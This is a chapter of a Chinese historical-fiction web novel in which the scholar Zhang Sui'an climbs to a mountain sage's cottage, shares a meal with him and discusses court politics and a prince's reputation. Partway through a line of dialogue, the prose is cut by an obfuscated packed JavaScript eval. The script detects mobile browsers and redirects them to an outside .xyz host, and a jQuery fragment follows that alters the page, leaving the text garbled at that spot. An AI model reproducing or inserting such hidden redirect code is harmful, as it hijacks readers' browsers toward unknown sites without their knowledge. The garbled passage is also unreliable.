去往南境的路跋山涉水，官车轻快，却也耐不住一路泥泞，陆路走完，又是好几日的水路，过了南岭，才进入怀州境内。
江风裹着水汽吹在脸上，带着湘南地带特有的温润。
岸边的乌篷船不少，怀州地势高低起伏，多有挑夫在此扛运行李，路边架着一草摊，卖着热腾腾的大碗茶，往来候船的人和挑夫若是渴了，都能捧着粗瓷碗喝上一口。
张岁安随家丁一起下了船，也在路边歇了会脚，点了两碗茶喝。
“公子，这茶……”彭吉捧着瓷碗喝了一口，被苦得眉头挤成一团，“这茶可真浓啊。”
卖茶的伙计笑了笑，把汗巾往肩上一搭，操着一口怀州口音道：“我们这茶都是熬的，浓茶喝了提神，干活有力气。”
张岁安也喝了半口，果然苦得发涩，只是多喝几口，苦习惯后，倒也觉得有股醇香，一大碗浓茶下去，配上甜糍，吃完身子也热了，也不疲乏了，上山赶路都有劲了。
南境之地，山峦叠峰，想要去那圣人的草堂，还得爬上好几里的山路。
山间雾气湿滑，又都是些幽僻小径，一脚下去陷了半只脚不说，连衣袍也都被泥水浸了个透。
彭吉跟在张岁安身后，累得龇牙咧嘴，边爬边喘：“公子啊，你说这祁圣人也一把年纪了，山路如此难行，他这筋骨上下一趟受得了吗？”
张岁安撑着一根粗木棍子，站在石边，抬起袖口擦了擦额角的薄汗，望向山间的迷雾，一只鸽子忽然从雾气中飞出，振翅之声喋喋地回荡在山谷间。
“想来，应该快到了。”张岁安轻声道。
再往深处走，雾气渐薄，隐约可见一竹影下的草堂，茅草覆顶，竹篱为墙，院中堆着半筐野草，空地上的小童正在喂牛。
小童见有人来，上前抬头问：“你们是谁？”
张岁安把手中的木棍递到彭吉手中，冲着小童躬身行礼：“晚生姓张，之前曾来过书信，今专程来拜访圣人，请问圣人可在？”
小童摇了摇头：“夫子今日去山下了，你们得去山下寻他。”
彭吉听完，险些没厥过去，他们好不容易从山下爬上来，这圣人居然在那山下……
张岁安轻声问道：“那小先生可知夫子在山下何处？”
小童想了想，答道：“夫子扛着锄头走的，想来应该是去田间了吧。”
“谢小先生指路。”张岁安行了行礼，转头就准备往山下走。
彭吉长叹一声，只能又杵着棍子，跟在公子身后。
上山路难行，下山更难，泥泞路湿滑，一行人连滚带滑地下了山，寻着雾中的牛哞声，终于到了田边上。
张岁安远远地见到一白发老农，穿着一身粗布短褂，卷着裤腿，手里攥着把木锄头，正站在田间松土。
他走上前去，作揖问道：“敢问老先生，祁夫子可在此处？”
老农闻声头也没抬，只顾着自己脚下的秧苗，闷声应了一句：“老身便是。”
张岁安一怔，似是有些惊疑。
他原以为这圣人，就该是坐在明台之上，着一身宽袖儒袍，讲经说文，五指不沾阳春水，却没想到这祁圣人竟在这田坎间自耕自种，宛如一寻常老农般。
张岁安整了整衣，躬身再拜道：“晚生张子康，故太傅张岐山之孙，久闻夫子盛名，今特来拜会，幸得一见，不枉一路风雨。”
祁圣人未曾应答，反而蹲下身子，瞅着一株秧苗看了半天，旋即叹了一声：“这草木有预枯之兆啊，”他用锄头在土里拨了半天，在根茎的泥中翻出几团幼虫，摇了摇头，撑着膝盖站起身来，“这地蚕不根除，今年怕是要闹蝗灾啊。”
张岁安闻声一顿，不知该答什么，只得又赞道：“夫子传礼教辩经义，又懂农时知虫害，可谓是于书斋之间见天地，当真是圣人风骨。”
祁圣人没搭理他，只顾埋头锄田，虽已白发苍苍，却颇有一番老当益壮的气力：“什么圣人不圣人的，虚名而已。老身耕田，是怕忘了稻米来之不易，传礼教，是为了让世人知礼守节，可到头来呢？还不都成了那庙堂人的说辞。”
经义成了庙堂之人维护自身权柄的手段，这非圣人的本意，却也奈不住大势所趋。
“夫子所言，晚生深有所感，礼教沦为权术，民生困于贪腐，亦是晚生心中所忧。”张岁安抬头望向田间人，语气又多了几分恳切，“陛下有意重修国之经义，正纲常，明是非，护民生，晚生斗胆，请夫子出山，修经传义，借典立民。”
祁圣人终于停下来了，瞅了张岁安一眼，接着握着锄头直起身来，目光越过田垄，望向江雾漫漫：“沿着这条江往南，过了那座山便是南疆地界，若有蝗灾预起，南疆坤仪王早早便会命地方州主挖渠排涝，备好矿石药粉，挨田挨亩地洒。不过一山之隔，民生之艰，相差万里啊。”
他顿了顿，转头看向张岁安，轻嗤一声：“边境之地，多是兵民一体，无粮便兵弱，这样实打实的东西不去琢磨，天天琢磨着修什么典籍，北朔有雄主，南疆有仁君，就这东袭，”老人嫌弃地摆了摆手，“也不知这付氏后人的皇帝是怎么当的？”
祁圣人仗着天高皇帝远，说话也不忌讳，张岁安心下虽觉得不妥，但也不好直言。
毕竟这祁圣人如今年近古稀，住在这孤山之中还能上山下田，想来自是精通养生之道，所谓养生，首要便是得舒气，骂天骂地骂皇帝，自己是一点闷气也不愿受。
“小生你也不必惶恐，别说是直言皇室族姓了，哪怕是当今圣上的爷爷老身也训过。”祁圣人说完便一步步地从田间往坎上走。
“夫子随口一言，晚生不会放在心上。”张岁安见祁圣人走过来，躬身便想去扶他老人家一把。
这祁圣人倒是也不必他扶，大步一迈，就稳稳地从田里站上了坎，踩着草鞋就往山上走，边走还不忘边留下一句：“你大老远的来了，老身还是得招待一番，随我上草堂吃晌午罢。”
又要爬山。
张岁安歪歪扭扭地跟在老人身后，彭吉更是被湿滑的田坎染成了半个泥人，抬头一看，那祁圣人倒是大步稳健，远远地甩出众人好一截路。
“夫子这般年岁，身体还如此康健，想来定是能长命百岁啊。”张岁安跟在后面朗声道。
“老身也不想活这么久，可这就是不死啊，”祁圣人大步一迈，宛如一山间老鹤般轻巧地飞在泥土路上，“想来是我这命中，还有劫数未尽呐。”
山上的草堂中只有小童三人，一人放牛，一人砍柴，一人帮夫子整理书简，这每日的羹食，自是只有祁圣人自己上手。
张岁安除了彭吉，还带了随行的小厮三人，草堂里忽然一下来了这么多人，祁圣人一个人也煮不过来，旋即让他们去山泉边洗手净面后，一齐过来洗菜。
“这豆荚得先将两侧的筋去了，剥皮取粒，再用水洗净。”祁圣人一边在厨案上切着菜，一边朗声招呼道。
彭吉看不下去，自家公子十指不沾阳春水的人，怎么能在这山里洗菜扣豆荚呢。
“公子啊，君子远庖厨，我来吧，你去边儿上坐着。”
祁圣人一把年纪，不仅一把菜刀使得利索，还耳聪也目明，彭吉的小声嘀咕，他也听在耳边：“什么君子远庖厨，老身母亲妻室都是南疆人，在南疆管他君子不君子的，男子女子都得会烧饭。”
张岁安闻之有理，也开始埋头跟那一盆豆荚斗智斗勇起来。
小童抱来劈好的干柴，替圣人烧热了灶台，等水沸了，豆腐豆子一下锅，腾腾的雾气漫着豆鲜味扑了上来。
圣人用长柄铁勺搅着锅中的汤，瞥了一眼身旁捧着草箕的张岁安。
这个自绥京城中娇生玉养的公子，真让他做起农活来，也是有条有理，把一筐豆子剥洗得干干净净。
“老身少时贫苦，张公却出身大家，他隐姓埋名，结交四方，这才结束了东袭割据之势，有了今日的付氏王朝。”祁圣人挥起袖口，散了散周身的水汽，“但他这人，聪明一世，糊涂一时啊。”
张岁安听着圣人提起爷爷旧事，也垂首缄默。
祁圣人故而又说道：“你此来一遭，明面上是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445031|185064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为了那修典之事，可内里，怕是还有他念吧？”
“不瞒圣人，子康确有一私心。”张岁安直言道，“事关嫡皇子面带血痣一事。”
祁圣人拎过灶台上的木盖，将那锅汤盖好闷煮，借由一旁的麻布擦了擦手，继而语气轻巧道：“礼数也好，天意也罢，不过世人托辞而已，皇子血痣，是凶是吉，不过当朝者一念之间。”
他顿了顿，转而看向张岁安，声量也沉了几分：“当今圣上利用这克亲一说，把国事变成了家事，士族老臣视嫡长秩序为国本纲常，嫡子在朝，便不可立庶子为储。可若嫡皇子克亲，陛下圣体，谁敢妄自议论？所以这克亲的名声一去，你可知道后果？”
张岁安垂首思忖，压着声音答道：“晚生明白，污名一除，七皇子便是名正言顺的嫡子，圣上若还执意废嫡立庶，群臣必然不认。”
“若无张公，付氏便坐不上那高位，想来张公临终时也是想明白了，不让自家子孙再做那皇族的权杖，可你……”
祁圣人望着张岁安，似是想训上几句，却又因了然这世间的因果宿命，而最终只是无可奈何地摇了摇头——
“你此举一出，便是在当今圣上面前表明了态度，如此一来，可就再也抽不了身了。”
“圣人方才也说了，嫡长乃国本纲常。”张岁安语气柔和，声音却沉如山石，“若嫡皇子真是天命所归，作为袭国臣子，难道要眼看着皇子蒙尘受辱吗？”
“还果真是故人之后，连这认死理儿的性子都一样。”祁圣人见着他这幅样子，就想起曾经跟他斗嘴的张老太公来，心下是又嫌弃又惋惜，“那老身再问问你，嫡皇子洗脱污名之后，陛下打压之力愈狠，你再当如何？是要联众臣之手，以国本之名逼陛下立储？还是看着你千般相护的皇子，再次沦为制衡的棋子？”
这话问得张岁安心头一顿，他当然想过此后之事，但却一直未敢直面，但祁圣人却将他心下的忧虑明堂堂地说尽了。
替七皇子洗脱污名，便是动了陛下的棋局，一步落子，从此便再也没有回头路。
他想了半晌，还是答道：“若陛下罔顾纲常，朝堂贤臣济济，自会相劝，非子康所能谋动。”
话虽委婉，但已意向分明。
祁圣人叹了一声，继而又开口道：“当年我劝不了张公，是因看礼乐荒废，民生多艰，张公以身入局，为袭国争得了数十载太平，可如今，这太平还稳不稳得住，怕是谁也说不准啰。”
山中似有飞鸟振翅，喋喋之声回荡在山谷间，悠扬延绵，好似天地间的一声哀叹。
两人言语间，一锅的豆腐汤也闷好了，张岁安帮圣人掀开木盖，将一锅鲜汤分舀入木碗中。
汤清豆白，热气氤氲，众人捧着碗慢慢吃着，鲜暖的汤食入了肚子。
“除了你，还有一人的信也早早地传到了老身这里。”祁圣人捧着碗轻声道，“这人你不认得，宫里边的那位小皇子却认得。”
张岁安一顿，似是不解。
祁圣人捋了捋胡须，笑道：“智者不入世，你我皆非智者，你爷爷那老东西也不是什么智者，智者隐于山间，却观世之全貌，便是此人矣。”
“晚生素有耳闻，七皇子曾经在太初观拜了一仙人的道石为师，难道圣人所说之人，便是那七皇子之师？”
祁圣人委婉一笑，似是默认。
“若不是他提前催着我回来，你也寻不到我了。”祁圣人顿了顿，“老身此前也不明白他劝我重归草堂之意，现下却了然了，袭国之困，最后果然还是得张氏来解。”
祁圣人看着眼前的这个少年人，仿若在看着一个注定要入局的来日首辅。
七皇子若能继承大位，眼前的人，便是能决定袭国未来国运之人。
是任凭当朝者玩弄权术而惹得民生多艰，还是推举一位能强兵利民的人上台，翻新这迂腐的朽木庙堂。
圣人心中自有明断。
“快吃吧，吃完老身还要收拾行囊。”祁圣人叹声道，“路程这么长，来去还要些时日，莫在虚妄忧虑中枉费了光阴。”